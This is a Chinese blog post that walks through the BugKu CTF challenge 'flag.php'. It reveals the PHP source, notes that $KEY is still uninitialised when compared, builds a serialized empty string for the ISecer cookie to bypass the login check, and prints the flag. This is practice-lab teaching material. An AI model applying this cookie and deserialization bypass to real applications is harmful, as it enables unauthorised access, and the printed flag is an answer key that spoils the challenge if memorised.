keac's Bolg.

CTFWP BugKu flag.php 题解

字数统计: 476阅读时长: 2 min
2020/01/09 Share

Bugku flag.php

flag.php

地址:http://123.206.87.240:8002/flagphp/

点了login咋没反应

提示:hint

打开网页看下,点login确实没有反应,源码里面input为button,没有什么用处

flag.php

提示 hint 我们把他作为get参数来试试 http://123.206.87.240:8002/flagphp/?hint

这时候我们可以看到PHP源码,这道题很明显就是考PHP代码审计

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

可以从源码中分析到:

  1. flag在flag.php
  2. 会读取COOKIE ISecer
  3. 并用到了反序列化 unserialize

从整体代码分析结果来看,若unserialize(cookie)全等于$KEY,这里注意有双引号,大体意思是:cookie的参数为ISecer,值为$KEY的序列化,看$KEY下是什么东西,下面有写$KEY='ISecer:www.isecer.com';,但是代码从上往下执行,所以$KEY应该为NULL

构造序列化

1
2
3
4
5
6
<?php
$a="";
//序列化
$s = serialize($a);
echo $s;
?>

flag.php

修改Cookie

flag.php

再次访问页面就可以看到flag了

flag{unserialize_by_virink}

CATALOG